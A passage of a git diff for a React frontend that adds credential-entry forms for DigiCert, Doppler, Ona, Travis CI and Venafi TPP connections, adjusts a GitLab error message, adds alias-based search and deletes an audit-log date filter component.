+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                <SelectItem value={DigiCertRegion.US}>US</SelectItem>
+                <SelectItem value={DigiCertRegion.EU}>EU</SelectItem>
+              </Select>
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.apiKey"
+          control={control}
+          shouldUnregister
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="CertCentral API Key"
+              helperText="Generate an API key in CertCentral under Automation > API Keys."
+            >
+              <SecretInput
+                containerClassName="text-gray-400 group-focus-within:border-primary-400/50! border border-mineshaft-500 bg-mineshaft-900 px-2.5 py-1.5"
+                value={value}
+                onChange={(e) => onChange(e.target.value)}
+              />
+            </FormControl>
+          )}
+        />
+        <div className="mt-8 flex items-center">
+          <Button
+            className="mr-4"
+            size="sm"
+            type="submit"
+            colorSchema="secondary"
+            isLoading={isSubmitting}
+            isDisabled={isSubmitting || !isDirty}
+          >
+            {isUpdate ? "Update Credentials" : "Connect to DigiCert"}
+          </Button>
+          <ModalClose asChild>
+            <Button colorSchema="secondary" variant="plain">
+              Cancel
+            </Button>
+          </ModalClose>
+        </div>
+      </form>
+    </FormProvider>
+  );
+};
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DopplerConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DopplerConnectionForm.tsx
new file mode 100644
index 00000000000..d2c729537f8
--- /dev/null
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DopplerConnectionForm.tsx
@@ -0,0 +1,134 @@
+import { Controller, FormProvider, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { z } from "zod";
+
+import {
+  Button,
+  FormControl,
+  ModalClose,
+  SecretInput,
+  Select,
+  SelectItem
+} from "@app/components/v2";
+import { APP_CONNECTION_MAP, getAppConnectionMethodDetails } from "@app/helpers/appConnections";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import {
+  DopplerConnectionMethod,
+  TDopplerConnection
+} from "@app/hooks/api/appConnections/types/doppler-connection";
+
+import {
+  genericAppConnectionFieldsSchema,
+  GenericAppConnectionsFields
+} from "./GenericAppConnectionFields";
+
+type Props = {
+  appConnection?: TDopplerConnection;
+  onSubmit: (formData: FormData) => void;
+};
+
+const rootSchema = genericAppConnectionFieldsSchema.extend({
+  app: z.literal(AppConnection.Doppler)
+});
+
+const formSchema = z.discriminatedUnion("method", [
+  rootSchema.extend({
+    method: z.literal(DopplerConnectionMethod.ApiToken),
+    credentials: z.object({
+      apiToken: z.string().trim().min(1, "API token required")
+    })
+  })
+]);
+
+type FormData = z.infer<typeof formSchema>;
+
+export const DopplerConnectionForm = ({ appConnection, onSubmit }: Props) => {
+  const isUpdate = Boolean(appConnection);
+
+  const form = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: appConnection ?? {
+      app: AppConnection.Doppler,
+      method: DopplerConnectionMethod.ApiToken
+    }
+  });
+
+  const {
+    handleSubmit,
+    control,
+    formState: { isSubmitting, isDirty }
+  } = form;
+
+  return (
+    <FormProvider {...form}>
+      <form onSubmit={handleSubmit(onSubmit)}>
+        {!isUpdate && <GenericAppConnectionsFields />}
+        <Controller
+          name="method"
+          control={control}
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              tooltipText={`The type of token you would like to use to connect with ${
+                APP_CONNECTION_MAP[AppConnection.Doppler].name
+              }. This field cannot be changed after creation.`}
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Token Type"
+            >
+              <Select
+                isDisabled={isUpdate}
+                value={value}
+                onValueChange={(val) => onChange(val)}
+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                {Object.values(DopplerConnectionMethod).map((method) => (
+                  <SelectItem value={method} key={method}>
+                    {getAppConnectionMethodDetails(method).name}
+                  </SelectItem>
+                ))}
+              </Select>
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.apiToken"
+          control={control}
+          shouldUnregister
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="API Token"
+            >
+              <SecretInput
+                containerClassName="text-gray-400 group-focus-within:border-primary-400/50! border border-mineshaft-500 bg-mineshaft-900 px-2.5 py-1.5"
+                value={value}
+                onChange={(e) => onChange(e.target.value)}
+              />
+            </FormControl>
+          )}
+        />
+
+        <div className="mt-8 flex items-center">
+          <Button
+            className="mr-4"
+            size="sm"
+            type="submit"
+            colorSchema="secondary"
+            isLoading={isSubmitting}
+            isDisabled={isSubmitting || !isDirty}
+          >
+            {isUpdate ? "Update Credentials" : "Connect to Doppler"}
+          </Button>
+          <ModalClose asChild>
+            <Button colorSchema="secondary" variant="plain">
+              Cancel
+            </Button>
+          </ModalClose>
+        </div>
+      </form>
+    </FormProvider>
+  );
+};
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/GitLabConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/GitLabConnectionForm.tsx
index e9af41aaa76..88ccd291144 100644
--- a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/GitLabConnectionForm.tsx
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/GitLabConnectionForm.tsx
@@ -221,10 +221,10 @@ export const GitLabConnectionForm = ({ appConnection, onSubmit: formSubmit, proj
               }. This field cannot be changed after creation.`}
               errorText={
                 !isLoading && isMissingConfig && selectedMethod === GitLabConnectionMethod.OAuth
-                  ? `Environment variables have not been configured. ${
+                  ? `${
                       isInfisicalCloud()
-                        ? "Please contact Infisical."
-                        : `See Docs to configure GitLab ${methodDetails.name} Connections.`
+                        ? "GitLab Oauth is not supported in Infisical Cloud."
+                        : `Environment variables have not been configured. See Docs to configure GitLab ${methodDetails.name} Connections.`
                     }`
                   : error?.message
               }
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/OnaConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/OnaConnectionForm.tsx
new file mode 100644
index 00000000000..8e19d338291
--- /dev/null
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/OnaConnectionForm.tsx
@@ -0,0 +1,135 @@
+import { Controller, FormProvider, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { z } from "zod";
+
+import {
+  Button,
+  FormControl,
+  ModalClose,
+  SecretInput,
+  Select,
+  SelectItem
+} from "@app/components/v2";
+import { APP_CONNECTION_MAP, getAppConnectionMethodDetails } from "@app/helpers/appConnections";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import {
+  OnaConnectionMethod,
+  TOnaConnection
+} from "@app/hooks/api/appConnections/types/ona-connection";
+
+import {
+  genericAppConnectionFieldsSchema,
+  GenericAppConnectionsFields
+} from "./GenericAppConnectionFields";
+
+type Props = {
+  appConnection?: TOnaConnection;
+  onSubmit: (formData: FormData) => void;
+};
+
+const rootSchema = genericAppConnectionFieldsSchema.extend({
+  app: z.literal(AppConnection.Ona)
+});
+
+const formSchema = z.discriminatedUnion("method", [
+  rootSchema.extend({
+    method: z.literal(OnaConnectionMethod.PersonalAccessToken),
+    credentials: z.object({
+      personalAccessToken: z.string().trim().min(1, "Personal Access Token required")
+    })
+  })
+]);
+
+type FormData = z.infer<typeof formSchema>;
+
+export const OnaConnectionForm = ({ appConnection, onSubmit }: Props) => {
+  const isUpdate = Boolean(appConnection);
+
+  const form = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: appConnection ?? {
+      app: AppConnection.Ona,
+      method: OnaConnectionMethod.PersonalAccessToken
+    }
+  });
+
+  const {
+    handleSubmit,
+    control,
+    formState: { isSubmitting, isDirty }
+  } = form;
+
+  return (
+    <FormProvider {...form}>
+      <form onSubmit={handleSubmit(onSubmit)}>
+        {!isUpdate && <GenericAppConnectionsFields />}
+        <Controller
+          name="method"
+          control={control}
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              tooltipText={`The method you would like to use to connect with ${
+                APP_CONNECTION_MAP[AppConnection.Ona].name
+              }. This field cannot be changed after creation.`}
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Method"
+            >
+              <Select
+                isDisabled={isUpdate}
+                value={value}
+                onValueChange={(val) => onChange(val)}
+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                {Object.values(OnaConnectionMethod).map((method) => {
+                  return (
+                    <SelectItem value={method} key={method}>
+                      {getAppConnectionMethodDetails(method).name}{" "}
+                    </SelectItem>
+                  );
+                })}
+              </Select>
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.personalAccessToken"
+          control={control}
+          shouldUnregister
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Personal Access Token"
+            >
+              <SecretInput
+                containerClassName="text-gray-400 group-focus-within:border-primary-400/50! border border-mineshaft-500 bg-mineshaft-900 px-2.5 py-1.5"
+                value={value}
+                onChange={(e) => onChange(e.target.value)}
+              />
+            </FormControl>
+          )}
+        />
+        <div className="mt-8 flex items-center">
+          <Button
+            className="mr-4"
+            size="sm"
+            type="submit"
+            colorSchema="secondary"
+            isLoading={isSubmitting}
+            isDisabled={isSubmitting || !isDirty}
+          >
+            {isUpdate ? "Update Credentials" : "Connect to Ona"}
+          </Button>
+          <ModalClose asChild>
+            <Button colorSchema="secondary" variant="plain">
+              Cancel
+            </Button>
+          </ModalClose>
+        </div>
+      </form>
+    </FormProvider>
+  );
+};
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/TravisCIConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/TravisCIConnectionForm.tsx
new file mode 100644
index 00000000000..d73e3e55c16
--- /dev/null
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/TravisCIConnectionForm.tsx
@@ -0,0 +1,135 @@
+import { Controller, FormProvider, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { z } from "zod";
+
+import {
+  Button,
+  FormControl,
+  ModalClose,
+  SecretInput,
+  Select,
+  SelectItem
+} from "@app/components/v2";
+import { APP_CONNECTION_MAP, getAppConnectionMethodDetails } from "@app/helpers/appConnections";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import {
+  TravisCIConnectionMethod,
+  TTravisCIConnection
+} from "@app/hooks/api/appConnections/types/travis-ci-connection";
+
+import {
+  genericAppConnectionFieldsSchema,
+  GenericAppConnectionsFields
+} from "./GenericAppConnectionFields";
+
+type Props = {
+  appConnection?: TTravisCIConnection;
+  onSubmit: (formData: FormData) => void;
+};
+
+const rootSchema = genericAppConnectionFieldsSchema.extend({
+  app: z.literal(AppConnection.TravisCI)
+});
+
+const formSchema = z.discriminatedUnion("method", [
+  rootSchema.extend({
+    method: z.literal(TravisCIConnectionMethod.ApiToken),
+    credentials: z.object({
+      apiToken: z.string().trim().min(1, "API Token required")
+    })
+  })
+]);
+
+type FormData = z.infer<typeof formSchema>;
+
+export const TravisCIConnectionForm = ({ appConnection, onSubmit }: Props) => {
+  const isUpdate = Boolean(appConnection);
+
+  const form = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: appConnection ?? {
+      app: AppConnection.TravisCI,
+      method: TravisCIConnectionMethod.ApiToken
+    }
+  });
+
+  const {
+    handleSubmit,
+    control,
+    formState: { isSubmitting, isDirty }
+  } = form;
+
+  return (
+    <FormProvider {...form}>
+      <form onSubmit={handleSubmit(onSubmit)}>
+        {!isUpdate && <GenericAppConnectionsFields />}
+        <Controller
+          name="method"
+          control={control}
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              tooltipText={`The method you would like to use to connect with ${
+                APP_CONNECTION_MAP[AppConnection.TravisCI].name
+              }. This field cannot be changed after creation.`}
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Method"
+            >
+              <Select
+                isDisabled={isUpdate}
+                value={value}
+                onValueChange={(val) => onChange(val)}
+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                {Object.values(TravisCIConnectionMethod).map((method) => {
+                  return (
+                    <SelectItem value={method} key={method}>
+                      {getAppConnectionMethodDetails(method).name}
+                    </SelectItem>
+                  );
+                })}
+              </Select>
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.apiToken"
+          control={control}
+          shouldUnregister
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="API Token"
+            >
+              <SecretInput
+                containerClassName="text-gray-400 group-focus-within:border-primary-400/50! border border-mineshaft-500 bg-mineshaft-900 px-2.5 py-1.5"
+                value={value}
+                onChange={(e) => onChange(e.target.value)}
+              />
+            </FormControl>
+          )}
+        />
+        <div className="mt-8 flex items-center">
+          <Button
+            className="mr-4"
+            size="sm"
+            type="submit"
+            colorSchema="secondary"
+            isLoading={isSubmitting}
+            isDisabled={isSubmitting || !isDirty}
+          >
+            {isUpdate ? "Update Credentials" : "Connect to Travis CI"}
+          </Button>
+          <ModalClose asChild>
+            <Button colorSchema="secondary" variant="plain">
+              Cancel
+            </Button>
+          </ModalClose>
+        </div>
+      </form>
+    </FormProvider>
+  );
+};
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/VenafiTppConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/VenafiTppConnectionForm.tsx
new file mode 100644
index 00000000000..1dc05562907
--- /dev/null
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/VenafiTppConnectionForm.tsx
@@ -0,0 +1,250 @@
+import { Controller, FormProvider, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { useQuery } from "@tanstack/react-query";
+import { z } from "zod";
+
+import { OrgPermissionCan } from "@app/components/permissions";
+import {
+  Button,
+  FormControl,
+  Input,
+  ModalClose,
+  SecretInput,
+  Select,
+  SelectItem,
+  Tooltip
+} from "@app/components/v2";
+import { useSubscription } from "@app/context";
+import {
+  OrgGatewayPermissionActions,
+  OrgPermissionSubjects
+} from "@app/context/OrgPermissionContext/types";
+import { APP_CONNECTION_MAP, getAppConnectionMethodDetails } from "@app/helpers/appConnections";
+import { gatewaysQueryKeys } from "@app/hooks/api";
+import { TVenafiTppConnection, VenafiTppConnectionMethod } from "@app/hooks/api/appConnections";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+
+import {
+  genericAppConnectionFieldsSchema,
+  GenericAppConnectionsFields
+} from "./GenericAppConnectionFields";
+
+type Props = {
+  appConnection?: TVenafiTppConnection;
+  onSubmit: (formData: FormData) => Promise<void>;
+};
+
+const rootSchema = genericAppConnectionFieldsSchema.extend({
+  app: z.literal(AppConnection.VenafiTpp)
+});
+
+const formSchema = z.discriminatedUnion("method", [
+  rootSchema.extend({
+    method: z.literal(VenafiTppConnectionMethod.OAuth),
+    credentials: z.object({
+      tppUrl: z
+        .string()
+        .trim()
+        .min(1, "TPP URL required")
+        .refine((value) => value.startsWith("https://"), "TPP URL must use HTTPS"),
+      clientId: z.string().trim().min(1, "Client ID required"),
+      username: z.string().trim().min(1, "Username required"),
+      password: z.string().trim().min(1, "Password required")
+    })
+  })
+]);
+
+type FormData = z.infer<typeof formSchema>;
+
+export const VenafiTppConnectionForm = ({ appConnection, onSubmit }: Props) => {
+  const isUpdate = Boolean(appConnection);
+
+  const form = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: appConnection ?? {
+      app: AppConnection.VenafiTpp,
+      method: VenafiTppConnectionMethod.OAuth,
+      name: "",
+      description: "",
+      gatewayId: null,
+      credentials: {
+        tppUrl: "",
+        clientId: "",
+        username: "",
+        password: ""
+      }
+    }
+  });
+
+  const {
+    handleSubmit,
+    control,
+    formState: { isSubmitting, isDirty }
+  } = form;
+
+  const { subscription } = useSubscription();
+  const { data: gateways, isPending: isGatewaysLoading } = useQuery(gatewaysQueryKeys.list());
+
+  return (
+    <FormProvider {...form}>
+      <form onSubmit={handleSubmit(onSubmit)}>
+        {!isUpdate && <GenericAppConnectionsFields />}
+        <Controller
+          name="method"
+          control={control}
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              tooltipText={`The method you would like to use to connect with ${
+                APP_CONNECTION_MAP[AppConnection.VenafiTpp].name
+              }. This field cannot be changed after creation.`}
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Method"
+            >
+              <Select
+                isDisabled={isUpdate}
+                value={value}
+                onValueChange={(val) => onChange(val)}
+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                {Object.values(VenafiTppConnectionMethod).map((method) => {
+                  return (
+                    <SelectItem value={method} key={method}>
+                      {getAppConnectionMethodDetails(method).name}
+                    </SelectItem>
+                  );
+                })}
+              </Select>
+            </FormControl>
+          )}
+        />
+        {subscription.gateway && (
+          <OrgPermissionCan
+            I={OrgGatewayPermissionActions.AttachGateways}
+            a={OrgPermissionSubjects.Gateway}
+          >
+            {(isAllowed) => (
+              <Controller
+                control={control}
+                name="gatewayId"
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    isError={Boolean(error?.message)}
+                    errorText={error?.message}
+                    label="Gateway"
+                  >
+                    <Tooltip
+                      isDisabled={isAllowed}
+                      content="Restricted access. You don't have permission to attach gateways to resources."
+                    >
+                      <Select
+                        isDisabled={!isAllowed}
+                        value={value as string}
+                        onValueChange={onChange}
+                        className="w-full border border-mineshaft-500"
+                        dropdownContainerClassName="max-w-none"
+                        isLoading={isGatewaysLoading}
+                        placeholder="Default: Internet Gateway"
+                        position="popper"
+                      >
+                        <SelectItem
+                          value={null as unknown as string}
+                          onClick={() => onChange(undefined)}
+                        >
+                          Internet Gateway
+                        </SelectItem>
+                        {gateways?.map((el) => (
+                          <SelectItem value={el.id} key={el.id}>
+                            {el.name}
+                          </SelectItem>
+                        ))}
+                      </Select>
+                    </Tooltip>
+                  </FormControl>
+                )}
+              />
+            )}
+          </OrgPermissionCan>
+        )}
+        <Controller
+          name="credentials.tppUrl"
+          control={control}
+          render={({ field, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="TPP URL"
+            >
+              <Input {...field} placeholder="https://tpp.example.com" />
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.clientId"
+          control={control}
+          render={({ field, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Client ID"
+              tooltipText="The OAuth Client ID registered in the Venafi TPP API Integration."
+            >
+              <Input {...field} placeholder="my-infisical-integration" />
+            </FormControl>
+          )}
+        />
+        <div className="grid grid-cols-2 gap-2">
+          <Controller
+            name="credentials.username"
+            control={control}
+            render={({ field, fieldState: { error } }) => (
+              <FormControl
+                errorText={error?.message}
+                isError={Boolean(error?.message)}
+                label="Username"
+              >
+                <Input {...field} placeholder="admin@domain.com" />
+              </FormControl>
+            )}
+          />
+          <Controller
+            name="credentials.password"
+            control={control}
+            render={({ field: { value, onChange }, fieldState: { error } }) => (
+              <FormControl
+                errorText={error?.message}
+                isError={Boolean(error?.message)}
+                label="Password"
+              >
+                <SecretInput
+                  containerClassName="text-gray-400 group-focus-within:border-primary-400/50! border border-mineshaft-500 bg-mineshaft-900 px-2.5 py-1.5"
+                  value={value}
+                  onChange={(e) => onChange(e.target.value)}
+                />
+              </FormControl>
+            )}
+          />
+        </div>
+        <div className="mt-8 flex items-center">
+          <Button
+            className="mr-4"
+            size="sm"
+            type="submit"
+            colorSchema="secondary"
+            isLoading={isSubmitting}
+            isDisabled={isSubmitting || !isDirty}
+          >
+            {isUpdate ? "Update Credentials" : "Connect to Venafi TPP"}
+          </Button>
+          <ModalClose asChild>
+            <Button colorSchema="secondary" variant="plain">
+              Cancel
+            </Button>
+          </ModalClose>
+        </div>
+      </form>
+    </FormProvider>
+  );
+};
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionList.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionList.tsx
index bdea10d7a3b..cad73f9a439 100644
--- a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionList.tsx
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionList.tsx
@@ -26,15 +26,19 @@ export const AppConnectionsSelect = ({ onSelect, projectType }: Props) => {
     initPerPage: 16
   });
 
-  const filteredOptions = useMemo(
-    () =>
-      appConnectionOptions?.filter(
-        ({ name, app }) =>
-          name?.toLowerCase().includes(search.trim().toLowerCase()) ||
-          app.toLowerCase().includes(search.toLowerCase())
-      ) ?? [],
-    [appConnectionOptions, search]
-  );
+  const filteredOptions = useMemo(() => {
+    const searchLower = search.trim().toLowerCase();
+    return (
+      appConnectionOptions?.filter(({ name, app }) => {
+        const aliases = APP_CONNECTION_MAP[app]?.aliases ?? [];
+        return (
+          name?.toLowerCase().includes(searchLower) ||
+          app.toLowerCase().includes(searchLower) ||
+          aliases.some((alias) => alias.toLowerCase().includes(searchLower))
+        );
+      }) ?? []
+    );
+  }, [appConnectionOptions, search]);
 
   useResetPageHelper({
     totalCount: filteredOptions.length,
diff --git a/frontend/src/pages/organization/AuditLogsPage/components/LogsDateFilter.tsx b/frontend/src/pages/organization/AuditLogsPage/components/LogsDateFilter.tsx
deleted file mode 100644
index 3407043a2f8..00000000000
--- a/frontend/src/pages/organization/AuditLogsPage/components/LogsDateFilter.tsx
+++ /dev/null
@@ -1,342 +0,0 @@
-import { useState } from "react";
-import { Controller, useForm } from "react-hook-form";
-import { faCalendar, faChevronRight } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { zodResolver } from "@hookform/resolvers/zod";
-import ms from "ms";
-import { twMerge } from "tailwind-merge";
-
-import {
-  Button,
-  DatePicker,
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuTrigger,
-  FormControl,
-  Input,
-  Select,
-  SelectItem
-} from "@app/components/v2";
-import { formatDateTime, Timezone } from "@app/helpers/datetime";
-
-import {
-  auditLogDateFilterFormSchema,
-  AuditLogDateFilterType,
-  TAuditLogDateFilterFormData
-} from "./types";
-
-type Props = {
-  setFilter: (data: TAuditLogDateFilterFormData) => void;
-  filter: TAuditLogDateFilterFormData;
-  setTimezone: (timezone: Timezone) => void;
-  timezone: Timezone;
-};
-const RELATIVE_VALUES = ["5m", "30m", "1h", "3h", "12h"];
-
-const RELATIVE_OPTIONS = [
-  { label: "Minutes", unit: "m", values: [5, 10, 15, 30, 45] },
-  { label: "Hours", unit: "h", values: [1, 2, 3, 6, 8, 12] },
-  { label: "Days", unit: "d", values: [1, 2, 3, 4, 5, 6] },
-  { label: "Weeks", unit: "w", values: [1, 2, 3, 4] }
-];
-
-export const LogsDateFilter = ({ setFilter, filter, timezone, setTimezone }: Props) => {
-  const [isStartDatePickerOpen, setIsStartDatePickerOpen] = useState(false);
-  const [isEndDatePickerOpen, setIsEndDatePickerOpen] = useState(false);
-  const [isPopupOpen, setIsPopOpen] = useState(false);
-
-  const { control, watch, handleSubmit, formState } = useForm<TAuditLogDateFilterFormData>({
-    resolver: zodResolver(auditLogDateFilterFormSchema),
-    values: filter
-  });
-  const selectType = watch("type");
-  const isCustomRelative =
-    filter.type === AuditLogDateFilterType.Relative &&
-    !RELATIVE_VALUES.includes(filter.relativeModeValue || "");
-
-  const onSubmit = (data: TAuditLogDateFilterFormData) => {
-    const endDate = data.type === AuditLogDateFilterType.Relative ? new Date() : data.endDate;
-    const startDate =
-      data.type === AuditLogDateFilterType.Relative && data.relativeModeValue
-        ? new Date(Number(new Date()) - ms(data.relativeModeValue))
-        : data.startDate;
-    setFilter({
-      ...data,
-      startDate,
-      endDate
-    });
-    setIsPopOpen(false);
-  };
-
-  return (
-    <>
-      <DropdownMenu open={isPopupOpen} onOpenChange={(el) => setIsPopOpen(el)}>
-        <div className="flex items-center">
-          {filter.type === AuditLogDateFilterType.Relative ? (
-            <>
-              {RELATIVE_VALUES.map((el) => (
-                <Button
-                  variant="outline_bg"
-                  className={twMerge(
-                    "w-[3.82rem] rounded-none px-3 py-2 font-normal first:rounded-l-md",
-                    filter.type === AuditLogDateFilterType.Relative &&
-                      filter.relativeModeValue === el &&
-                      "border-primary/40 bg-primary/10"
-                  )}
-                  key={`${el}-relative`}
-                  onClick={() =>
-                    setFilter({
-                      relativeModeValue: el,
-                      type: AuditLogDateFilterType.Relative,
-                      endDate: new Date(),
-                      startDate: new Date(Number(new Date()) - ms(el))
-                    })
-                  }
-                >
-                  {el}
-                </Button>
-              ))}
-            </>
-          ) : (
-            <div className="flex w-[19.1rem] items-center justify-between rounded-l-md border border-transparent bg-mineshaft-600 px-5 py-2 text-sm text-bunker-200">
-              <div>
-                {formatDateTime({
-                  timezone,
-                  timestamp: filter.startDate,
-                  dateFormat: "yyyy/MM/dd HH:mm"
-                })}
-              </div>
-              <div>
-                <FontAwesomeIcon className="text-bunker-300" size="sm" icon={faChevronRight} />
-              </div>
-              <div>
-                {formatDateTime({
-                  timezone,
-                  timestamp: filter.endDate,
-                  dateFormat: "yyyy/MM/dd HH:mm"
-                })}
-              </div>
-            </div>
-          )}
-          <DropdownMenuTrigger asChild>
-            <Button
-              variant="outline_bg"
-              className={twMerge(
-                "w-32 rounded-none rounded-r-md px-3 py-2 font-normal",
-                (filter.type === AuditLogDateFilterType.Absolute || isCustomRelative) &&
-                  "border-primary/40 bg-primary/10"
-              )}
-            >
-              <span>Custom</span> <FontAwesomeIcon className="ml-1" icon={faCalendar} />
-              {filter.type === AuditLogDateFilterType.Relative && isCustomRelative && (
-                <span className="ml-1">({filter.relativeModeValue})</span>
-              )}
-            </Button>
-          </DropdownMenuTrigger>
-        </div>
-        <DropdownMenuContent
-          className="min-w-[434px]! bg-mineshaft-800 p-4"
-          align="end"
-          sideOffset={8}
-        >
-          <form onSubmit={handleSubmit(onSubmit)}>
-            <Controller
-              control={control}
-              name="type"
-              render={({ field }) => (
-                <div className="mb-7">
-                  <Button
-                    onClick={() => field.onChange(AuditLogDateFilterType.Absolute)}
-                    variant="outline_bg"
-                    className={twMerge(
-                      "h-8 rounded-r-none font-normal",
-                      field.value === AuditLogDateFilterType.Absolute &&
-                        "border-primary/40 bg-primary/10"
-                    )}
-                  >
-                    Absolute
-                  </Button>
-                  <Button
-                    onClick={() => field.onChange(AuditLogDateFilterType.Relative)}
-                    variant="outline_bg"
-                    className={twMerge(
-                      "h-8 rounded-l-none font-normal",
-                      field.value === AuditLogDateFilterType.Relative &&
-                        "border-primary/40 bg-primary/10"
-                    )}
-                  >
-                    Relative
-                  </Button>
-                </div>
-              )}
-            />
-            {selectType === AuditLogDateFilterType.Relative && (
-              <Controller
-                control={control}
-                name="relativeModeValue"
-                render={({ field, fieldState: { error } }) => {
-                  const duration = field.value?.substring(0, field.value.length - 1);
-                  const unitOfTime = field.value?.at(-1);
-                  return (
-                    <div className="flex flex-col gap-4">
-                      {RELATIVE_OPTIONS.map(({ label, unit, values }) => (
-                        <div key={unit} className="flex items-center gap-2">
-                          <div className="w-16">{label}</div>
-                          {values.map((v) => {
-                            const value = `${v}${unit}`;
-                            return (
-                              <Button
-                                key={value}
-                                variant="outline_bg"
-                                onClick={() => field.onChange(value)}
-                                className={twMerge(
-                                  "h-8 w-12",
-                                  field.value === value && "border-primary/40 bg-primary/10"
-                                )}
-                              >
-                                {v}
-                              </Button>
-                            );
-                          })}
-                        </div>
-                      ))}
-                      <div className="flex flex-col gap-1">
-                        <div className="flex items-center gap-2">
-                          <FormControl
-                            className="mb-0 w-28"
-                            label="Duration"
-                            isError={Boolean(error)}
-                          >
-                            <Input
-                              type="number"
-                              value={duration}
-                              onChange={(val) => {
-                                const durationVal = val.target.value
-                                  ? Number(val.target.value)
-                                  : undefined;
-                                field.onChange(`${durationVal}${unitOfTime}`);
-                              }}
-                              max={60}
-                              min={1}
-                            />
-                          </FormControl>
-                          <FormControl className="mb-0 w-36" label="Unit of Time">
-                            <Select
-                              value={unitOfTime}
-                              onValueChange={(val) => field.onChange(`${duration}${val}`)}
-                              className="w-full"
-                              position="popper"
-                            >
-                              {RELATIVE_OPTIONS.map((opt) => (
-                                <SelectItem value={opt.unit}>{opt.label}</SelectItem>
-                              ))}
-                            </Select>
-                          </FormControl>
-                        </div>
-                        {error && (
-                          <span className="text-opacity-90 text-xs text-red-600">
-                            {error.message}
-                          </span>
-                        )}
-                      </div>
-                    </div>
-                  );
-                }}
-              />
-            )}
-            {selectType === AuditLogDateFilterType.Absolute && (
-              <div className="flex h-10 w-full items-center justify-between gap-2">
-                <Controller
-                  name="startDate"
-                  control={control}
-                  render={({ field: { onChange, ...field }, fieldState: { error } }) => {
-                    return (
-                      <FormControl
-                        className="relative top-2"
-                        errorText={error?.message}
-                        isError={Boolean(error)}
-                        label="Start Date"
-                      >
-                        <DatePicker
-                          value={field.value || undefined}
-                          onChange={onChange}
-                          timezone={timezone}
-                          dateFormat="P"
